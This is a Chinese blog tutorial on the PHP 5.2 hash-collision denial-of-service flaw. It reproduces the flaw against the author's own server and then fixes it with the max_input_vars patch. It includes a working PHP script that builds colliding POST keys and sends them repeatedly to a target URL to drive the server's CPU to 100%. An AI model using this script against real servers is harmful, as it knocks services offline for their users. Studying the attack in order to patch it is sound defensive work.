PHP Hash冲突导致 CPU 100%的完全解决方法

所属分类: 网络安全 / 安全设置 阅读数: 155
收藏 0 赞 0 分享

我们先看下环境,这个网站是LAMP架构,PHP版本是5.2.17。

PHP未打补丁前,服务器CPU情况,目前是2.1%的使用率。

    我们在这台web服务器上编写一个PHP程序,目的是要测试机去Hash它,以便故障重现。
程序语言如下:

复制代码
代码如下:

<?php
echo $showtime=date("Y-m-d H:i:s");
?>

执行后的效果是取当前服务器的时间。

    找台有PHP环境的测试机器,这台机器我用虚拟机,里面有LAMP环境。进/usr/local/apache/htdocs目录,写一PHP网页,程序语言如下:
[root@blog htdocs]# Vi hash.php


复制代码
代码如下:

<?php
$size = pow(2, 16);
$data = '';
for ($key = 0, $maxKey = ($size - 1) * $size; $key <= $maxKey; $key += $size) {
$data .= $key.'=&';
}
$url = 'http://www.liuxxxxx.com/checktime.php';
$rs = array();
$ch = curl_init();
curl_setopt($ch, CURLOPT_HEADER,0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
for ($i=0; $i<100; ++$i)
{
curl_exec($ch);
}
curl_close($ch);
?>

url地址,为你要作测试的目标机,i<100,表示最多100个并发。手工执行hash.php,进行hash碰撞。
[root@blog htdocs]# /usr/local/php/bin/php hash.php

   在web服务器端,我们去看服务器的资源利用情况,CPU是97.6%,看样子单台虚拟机,拿100并发去Hash,就足够把web服务器的CPU利用率升至100%。


    Cpu到了100%,网站是什么情况呢。我们再浏览该台web服务器,点网站上面的链接,反应正常,估计是这台web服务器本身没有一点压力,所以看不出来。把并发量调到10000,再测下,刚才是100并发。

刷新checktime.php页面,可以很快显示,网站正常。但此时web服务器cpu已是100%

结论,我是用个人博客作目标机,因为个人博客,目前只有几个人访问,没有压力,所以即使,通过10000并发的Hash,CPU上到100%,个人博客打开的速度,还是相当快。

打上补丁,我们再观察一下。
1、先查下以后在搭建环境时,PHP的编译参数

2、到网上去下载一个PHP补丁,下载地址为:
https://github.com/laruence/laruence.github.com/tree/master/php-5.2-max-input-vars


3、根据个人平台的版本号,点击进去,注意,不要在它上面点右键,另存为,否则你down下的是一个html文件,文件名倒是php-5.2.17-max-input-vars.patch。
在新弹出的页面点“raw”,就会打开这个补丁文件。


   把里面的内容复制,我这里只截了它一小部分。然后在web服务器上新建一个文件,php-5.2.17-max-input-vars.patch,里面就是刚复制的。

4、进php的原始安装目录,我这里环境是/opt/soft/php-5.2.17。先把原来已编译好的一些,清理一下。


5、打补丁并重新编译一下php

再config
再make ZEND_EXTRA_LIBS='-liconv' //有的平台是make,每个环境不一样
再make install

6、重启一下apache,看效果
[root@lghblog php-5.2.17]# pkill httpd
[root@lghblog php-5.2.17]#/usr/local/apache/bin/apachectl start

访问一下,web服务器的phpinfo.php,查看PHP环境有没有变化。大家可以在最上面看到,PHP版本后带了个P1。这个还不够,我们再用Hash碰撞一下,看cpu会不会上100%。


在测试机上,还是取并发10000,去Hash web服务器。发现web服务器的CPU一直保持在0.5%。

 

问题解决!
 

本文出自 “系统网络运维” 博客

更多精彩内容其他人还在看

用IP安全策略自动设置工具的遇到故障与解决方法

我最新在服务器上使用了IP安全策略自动设置工具,服务器是web站点,开80,20,21,3389等。
收藏 0 赞 0 分享

分享几个WebSite网站防黑经验

分享几个WebSite网站防黑经验,站长朋友可以参考下。
收藏 0 赞 0 分享

在Windows 下关闭21\23\25端口的方法

在Windows 下关闭21\23\25端口的方法,有时候为了安全我们需要禁止一些端口
收藏 0 赞 0 分享

招你几教 让你防止电脑辐射

对于生活紧张而忙碌的人群来说,抵御电脑辐射最简单的办法就是在每天上午喝2至3杯的绿茶,吃一个橘子
收藏 0 赞 0 分享

教你把电脑屏幕设置成可以保护眼睛的颜色

我们知道,长期使用电脑,眼睛盯着屏幕会使眼睛非常干涩、疲劳,所以现在流行将电脑设置成可以保护眼睛的颜色。
收藏 0 赞 0 分享

家庭用路由器功能的详细介绍

现在的宽带路由器不少功能对于一般家庭用户来说确实非常实用,可以提高很多网络应用程序的执行效果。下面谈谈家用路由器所具备的功能,顺便告诉大家哪些功能比较实用、哪些功能意义不大。
收藏 0 赞 0 分享

你的路由要hold住 带宽提速时代

近日,工业和信息化部召开宽带普及提速工程动员部署大会,在会上宣布正式启动实施“宽带普及提速工程”,至此,我国备受关注和带宽提速开始了。
收藏 0 赞 0 分享

用路由器限制别人的网速的技巧

在学校里面每个寝室使用一根线在上网,如果有人在下载的话,导致网速变得很慢,有没有什么办法可以限制别人的网速,来限制下载速度呢。当然是可以的,下面笔者来教我们怎么去限制别人的网速来限制别人下载的速度。
收藏 0 赞 0 分享

路由器与路由器互相连接详细设置图文教程

本文将为大家详细讲述路由接路由的设置方法,下面以图示先标明局域网各路由间的接法:
收藏 0 赞 0 分享

家用无线路由器安全设置必读

伴随着各运营商的宽带大提速,无线已经成为家庭组网的首选。老百姓真真切切地感觉到:无线真好!而且各厂商的在无线路由器的设置上也尽力做到人性化,以帮助大叔大妈们也能轻松的设置家庭无线网络,但一提到如何让家里的无线网络更加安全?很多大妈又犯了难,认为安全防护
收藏 0 赞 0 分享
查看更多